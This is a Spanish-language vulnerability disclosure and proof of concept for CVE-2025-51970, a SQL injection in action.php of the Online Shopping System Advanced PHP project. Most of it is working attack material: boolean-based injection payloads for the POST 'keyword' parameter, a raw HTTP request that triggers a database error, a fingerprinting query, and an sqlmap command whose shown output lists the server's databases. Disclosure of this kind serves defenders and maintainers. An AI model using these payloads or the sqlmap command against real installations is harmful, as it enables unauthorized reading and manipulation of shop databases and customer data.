CVE-2025-51970

CVE-2025-51970 - Inyección SQL en Online Shopping System Advanced

Resumen

Se descubrió una vulnerabilidad crítica de inyección SQL en el proyecto Online Shopping System Advanced de PuneethReddyHC. La falla reside en action.php, que no sanea adecuadamente la entrada del usuario proveniente del parámetro POST keyword. Un atacante puede inyectar SQL malicioso para extraer datos o manipular la base de datos.

---

Detalles técnicos

• Tipo de vulnerabilidad: Inyección SQL
• Archivo afectado: action.php
• Parámetro: keyword (vía POST)
• Versión afectada: 1.0
• Tipo de ataque: Remoto
• Impacto: Acceso no autorizado a datos, manipulación de la base de datos

---

Prueba de concepto (PoC)

Payload verdadero (evade la lógica)

e%' AND ((42)=(43-1)) AND '0004XX7'!='0004XX7%

Payload falso (falla la lógica)

e%' AND ((42)=(43)) AND '0004XX7'!='0004XX7%

---

Petición HTTP

<Highlight language="http">
POST /online-shopping-system-advanced-master/action.php HTTP/1.1
Host: 192.168.1.109
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Referer: http://192.168.1.109/online-shopping-system-advanced-master/
Content-Length: 75
Connection: close
keyword=test'&search=1
</Highlight>

Respuesta HTTP

HTTP/1.1 200 OK
Date: Sun, 20 Jul 2025 10:07:50 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12

Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; 
check the manual that corresponds to your MariaDB server version for the right 
syntax to use near ''' at line 1 in 
C:\xampp\htdocs\online-shopping-system-advanced-master\action.php:193

Ejemplo de huella de la base de datos

SELECT database(); -- Returns `onlineshop`

---

e%' AND 2*3*8=6*8 AND '0004XX7'!='0004XX7%
e%' AND 3*2>5 AND '0004XX7'!='0004XX7%
e%' AND 3*2*0>=0 AND '0004XX7'!='0004XX7%

Explotación automatizada con sqlmap

La vulnerabilidad se puede confirmar y explotar automáticamente con sqlmap.

Comando utilizado

sqlmap -u "http://192.168.1.109/action.php" --data="keyword=test&search=1" --dbs

Salida

[13:07:39] [INFO] fetching database names
available databases [6]:
[*] information_schema
[*] mysql
[*] onlineshop
[*] performance_schema
[*] phpmyadmin
[*] test